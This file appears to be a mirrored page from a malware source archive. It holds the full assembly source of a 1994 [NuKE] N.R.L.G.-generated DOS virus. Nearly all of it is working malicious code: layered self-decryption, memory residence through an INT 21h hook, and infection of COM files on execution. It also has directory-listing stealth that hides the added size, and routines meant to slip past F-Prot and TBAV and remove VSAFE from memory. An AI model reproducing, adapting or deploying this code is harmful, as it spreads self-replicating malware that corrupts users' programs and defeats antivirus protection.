mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
445 lines
21 KiB
NASM
445 lines
21 KiB
NASM
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
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;³ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS. ³ [NuKE] PoWeR
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;³ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN ³ [NuKE] WaReZ
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;³ auToR: aLL [NuKE] MeMeBeRS ³ [NuKE] PoWeR
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;³ [NuKE] THe ReaL PoWeR! ³ [NuKE] WaReZ
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;³ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994 ³ [NuKE] PoWeR
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;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
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.286
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code segment
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assume cs:code,ds:code
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org 100h
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start: CALL NEXT
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NEXT:
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mov di,sp ;take the stack pointer location
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mov bp,ss:[di] ;take the "DELTA HANDLE" for my virus
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sub bp,offset next ;subtract the large code off this code
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;
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;*******************************************************************
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; #1 DECRYPT ROUTINE
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;*******************************************************************
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cmp byte ptr cs:[crypt],0b9h ;is the first runnig?
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je crypt2 ;yes! not decrypt
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;----------------------------------------------------------
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mov cx,offset fin ;cx = large of virus
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lea di,[offset crypt]+ bp ;di = first byte to decrypt
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mov dx,1 ;dx = value for decrypt
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;----------------------------------------------------------
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deci: ;deci = fuck label!
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;----------------------------------------------------------
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ÿinc word ptr [di]
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add word ptr [di],08c7h
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sub byte ptr [di],0c6h
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add word ptr [di],0e613h
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inc word ptr [di]
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sub word ptr [di],05511h
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not byte ptr [di]
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xor word ptr [di],0ef35h
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sub word ptr [di],03e9bh
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inc word ptr [di]
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add byte ptr [di],083h
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ÿinc di
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inc di
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;----------------------------------------------------------
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jmp bye ;######## BYE BYE F-PROT ! ##########
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mov ah,4ch
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int 21h
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bye: ;#### HEY FRIDRIK! IS ONLY A JMP!!###
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;-----------------------------------------------------------
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mov ah,0bh ;######### BYE BYE TBAV ! ##########
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int 21h ;### (CANGE INT AT YOU PLEASURE) ###
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;----------------------------------------------------------
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loop deci ;repeat please!
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;
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;*****************************************************************
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; #2 DECRYPT ROUTINE
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;*****************************************************************
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;
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crypt: ;fuck label!
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;
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mov cx,offset fin ;cx = large of virus
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lea di,[offset crypt2] + bp ;di = first byte to decrypt
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;---------------------------------------------------------------
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deci2: ;
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xor byte ptr cs:[di],1 ;decrytion rutine
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inc di ;very simple...
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loop deci2 ;
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;---------------------------------------------------------------
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crypt2: ;fuck label!
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;
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MOV AX,0CACAH ;call to my resident interrup mask
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INT 21H ;for chek "I'm is residet?"
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CMP Bh,0CAH ;is equal to CACA?
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JE PUM2 ;yes! jump to runnig program
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call action
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;*****************************************************************
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; NRLG FUNCTIONS (SELECTABLE)
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;*****************************************************************
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ÿcall ANTI_V
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;****************************************************************
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; PROCESS TO REMAIN RESIDENT
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;****************************************************************
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mov ax,3521h
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int 21h ;store the int 21 vectors
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mov word ptr [bp+int21],bx ;in cs:int21
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mov word ptr [bp+int21+2],es ;
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;---------------------------------------------------------------
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push cs ;
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pop ax ;ax = my actual segment
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dec ax ;dec my segment for look my MCB
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mov es,ax ;
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mov bx,es:[3] ;read the #3 byte of my MCB =total used memory
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;---------------------------------------------------------------
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push cs ;
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pop es ;
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sub bx,(offset fin - offset start + 15)/16 ;subtract the large of my virus
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sub bx,17 + offset fin ;and 100H for the PSP total
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mov ah,4ah ;used memory
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int 21h ;put the new value to MCB
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;---------------------------------------------------------------
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mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin
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mov ah,48h ;
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int 21h ;request the memory to fuck DOS!
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;---------------------------------------------------------------
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dec ax ;ax=new segment
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mov es,ax ;ax-1= new segment MCB
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mov byte ptr es:[1],8 ;put '8' in the segment
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;--------------------------------------------------------------
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inc ax ;
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mov es,ax ;es = new segment
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lea si,[bp + offset start] ;si = start of virus
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mov di,100h ;di = 100H (psp position)
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mov cx,offset fin - start ;cx = lag of virus
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push cs ;
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pop ds ;ds = cs
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cld ;mov the code
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rep movsb ;ds:si >> es:di
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;--------------------------------------------------------------
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mov dx,offset virus ;dx = new int21 handler
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mov ax,2521h ;
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push es ;
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pop ds ;
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int 21h ;set the vectors
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;-------------------------------------------------------------
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pum2: ;
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;
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mov ah,byte ptr [cs:bp + real] ;restore the 3
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mov byte ptr cs:[100h],ah ;first bytes
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mov ax,word ptr [cs:bp + real + 1] ;
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mov word ptr cs:[101h],ax ;
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;-------------------------------------------------------------
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mov ax,100h ;
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jmp ax ;jmp to execute
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;
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;*****************************************************************
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;* HANDLER FOR THE INT 21H
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;*****************************************************************
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;
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VIRUS: ;
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;
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cmp ah,4bh ;is a 4b function?
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je REPRODUCCION ;yes! jump to reproduce !
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cmp ah,11h
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je dir
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cmp ah,12h
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je dir
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dirsal:
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cmp AX,0CACAH ;is ... a caca function? (resident chek)
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jne a3 ;no! jump to a3
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mov bh,0cah ;yes! put ca in bh
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a3: ;
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JMP dword ptr CS:[INT21] ;jmp to original int 21h
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ret ;
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make db '[NuKE] N.R.L.G. AZRAEL'
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dir:
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jmp dir_s
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;-------------------------------------------------------------
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REPRODUCCION: ;
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;
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pushf ;put the register
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pusha ;in the stack
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push si ;
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push di ;
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push bp ;
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push es ;
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push ds ;
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;-------------------------------------------------------------
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push cs ;
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pop ds ;
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mov ax,3524H ;get the dos error control
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int 21h ;interupt
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mov word ptr error,es ;and put in cs:error
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mov word ptr error+2,bx ;
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mov ax,2524H ;change the dos error control
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mov dx,offset all ;for my "trap mask"
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int 21h ;
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;-------------------------------------------------------------
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pop ds ;
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pop es ;restore the registers
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pop bp ;
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pop di ;
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pop si ;
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popa ;
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popf ;
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;-------------------------------------------------------------
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pushf ;put the registers
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pusha ;
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push si ;HEY! AZRAEL IS CRAZY?
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push di ;PUSH, POP, PUSH, POP
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push bp ;PLEEEEEAAAAAASEEEEEEEEE
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push es ;PURIFY THIS SHIT!
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push ds ;
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;-------------------------------------------------------------
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mov ax,4300h ;
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int 21h ;get the file
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mov word ptr cs:[attrib],cx ;atributes
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;-------------------------------------------------------------
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mov ax,4301h ;le saco los atributos al
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xor cx,cx ;file
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int 21h ;
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;-------------------------------------------------------------
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mov ax,3d02h ;open the file
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int 21h ;for read/write
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mov bx,ax ;bx=handle
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;-------------------------------------------------------------
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mov ax,5700h ;
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int 21h ;get the file date
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mov word ptr cs:[hora],cx ;put the hour
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mov word ptr cs:[dia],dx ;put the day
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and cx,word ptr cs:[fecha] ;calculate the seconds
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cmp cx,word ptr cs:[fecha] ;is ecual to 58? (DEDICATE TO N-POX)
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jne seguir ;yes! the file is infected!
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jmp cerrar ;
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;------------------------------------------------------------
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seguir: ;
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mov ax,4202h ;move the pointer to end
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call movedor ;of the file
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;------------------------------------------------------------
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push cs ;
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pop ds ;
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sub ax,3 ;calculate the
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mov word ptr [cs:largo],ax ;jmp long
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;-------------------------------------------------------------
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mov ax,04200h ;move the pointer to
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call movedor ;start of file
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;----------------------------------------------------------
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push cs ;
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pop ds ;read the 3 first bytes
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mov ah,3fh ;
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mov cx,3 ;
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lea dx,[cs:real] ;put the bytes in cs:[real]
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int 21h ;
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;----------------------------------------------------------
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cmp word ptr cs:[real],05a4dh ;the 2 first bytes = 'MZ' ?
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jne er1 ;yes! is a EXE... fuckkk!
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;----------------------------------------------------------
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jmp cerrar
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er1:
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;----------------------------------------------------------
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mov ax,4200h ;move the pointer
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call movedor ;to start fo file
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;----------------------------------------------------------
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push cs ;
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pop ds ;
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mov ah,40h ;
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mov cx,1 ;write the JMP
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lea dx,[cs:jump] ;instruccion in the
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int 21h ;fist byte of the file
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;----------------------------------------------------------
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mov ah,40h ;write the value of jmp
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mov cx,2 ;in the file
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lea dx,[cs:largo] ;
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int 21h ;
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;----------------------------------------------------------
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mov ax,04202h ;move the pointer to
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call movedor ;end of file
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;----------------------------------------------------------
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push cs ;
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pop ds ;move the code
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push cs ;of my virus
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pop es ;to cs:end+50
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cld ;for encrypt
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mov si,100h ;
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mov di,offset fin + 50 ;
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mov cx,offset fin - 100h ;
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rep movsb ;
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;----------------------------------------------------------
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mov cx,offset fin
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mov di,offset fin + 50 + (offset crypt2 - offset start) ;virus
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enc: ;
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xor byte ptr cs:[di],1 ;encrypt the virus
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inc di ;code
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loop enc ;
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;---------------------------------------------------------
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mov cx,offset fin
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mov di,offset fin + 50 + (offset crypt - offset start) ;virus
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mov dx,1
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enc2: ;
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ÿsub byte ptr [di],083h
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dec word ptr [di]
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add word ptr [di],03e9bh
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xor word ptr [di],0ef35h
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not byte ptr [di]
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add word ptr [di],05511h
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dec word ptr [di]
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sub word ptr [di],0e613h
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add byte ptr [di],0c6h
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sub word ptr [di],08c7h
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dec word ptr [di]
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ÿinc di
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inc di ;the virus code
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loop enc2 ;
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;--------------------------------------------
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mov ah,40h ;
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mov cx,offset fin - offset start ;copy the virus
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mov dx,offset fin + 50 ;to end of file
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int 21h ;
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;----------------------------------------------------------
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cerrar: ;
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;restore the
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mov ax,5701h ;date and time
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mov cx,word ptr cs:[hora] ;file
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mov dx,word ptr cs:[dia] ;
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or cx,word ptr cs:[fecha] ;and mark the seconds
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int 21h ;
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;----------------------------------------------------------
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mov ah,3eh ;
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int 21h ;close the file
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;----------------------------------------------------------
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pop ds ;
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pop es ;restore the
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pop bp ;registers
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pop di ;
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pop si ;
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popa ;
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popf ;
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;----------------------------------------------------------
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pusha ;
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;
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mov ax,4301h ;restores the atributes
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mov cx,word ptr cs:[attrib] ;of the file
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int 21h ;
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;
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popa ;
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;----------------------------------------------------------
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pushf ;
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pusha ; 8-( = f-prot
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push si ;
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push di ; 8-( = tbav
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push bp ;
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push es ; 8-) = I'm
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push ds ;
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;----------------------------------------------------------
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mov ax,2524H ;
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lea bx,error ;restore the
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mov ds,bx ;errors handler
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lea bx,error+2 ;
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int 21h ;
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;----------------------------------------------------------
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pop ds ;
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pop es ;
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pop bp ;restore the
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pop di ;resgisters
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pop si ;
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popa ;
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popf ;
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;----------------------------------------------------------
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JMP A3 ;jmp to orig. INT 21
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;
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;**********************************************************
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; SUBRUTINES AREA
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;**********************************************************
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;
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movedor: ;
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;
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xor cx,cx ;use to move file pointer
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xor dx,dx ;
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int 21h ;
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ret ;
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;----------------------------------------------------------
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all: ;
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;
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XOR AL,AL ;use to set
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iret ;error flag
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;***********************************************************
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; DATA AREA
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;***********************************************************
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largo dw ?
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jump db 0e9h
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real db 0cdh,20h,0
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hora dw ?
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dia dw ?
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attrib dw ?
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int21 dd ?
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error dd ?
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ÿ;------------------------
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action: ;Nothing Action!
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NOP ;only replicate
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ret ;Return to call
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;------------------------
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ÿ;---------------------------------
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ANTI_V: ;
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MOV AX,0FA01H ;REMOVE VSAFE FROM MEMORY
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MOV DX,5945H ;
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INT 21H ;
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ret ;
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;---------------------------------
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ÿ;*****************************************************
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dir_s:
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pushf
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push cs
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call a3 ;Get file Stats
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test al,al ;Good FCB?
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jnz no_good ;nope
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push ax
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push bx
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push es
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mov ah,51h ;Is this Undocmented? huh...
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int 21h
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mov es,bx
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cmp bx,es:[16h]
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jnz not_infected
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mov bx,dx
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mov al,[bx]
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push ax
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mov ah,2fh ;Get file DTA
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int 21h
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pop ax
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inc al
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jnz fcb_okay
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add bx,7h
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fcb_okay: mov ax,es:[bx+17h]
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and ax,1fh ;UnMask Seconds Field
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xor al,byte ptr cs:fechad
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jnz not_infected
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and byte ptr es:[bx+17h],0e0h
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sub es:[bx+1dh],OFFSET FIN - OFFSET START ;Yes minus virus size
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sbb es:[bx+1fh],ax
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not_infected:pop es
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pop bx
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pop ax
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no_good: iret
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;********************************************************************
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; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX
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;*********************************************************************
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ÿaction_dia Db 020H ;day for the action
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action_mes Db 0dH ;month for the action
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FECHA DW 01eH ;Secon for mark
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FECHAd Db 01eH ;Secon for mark dir st
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fin:
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code ends
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end start
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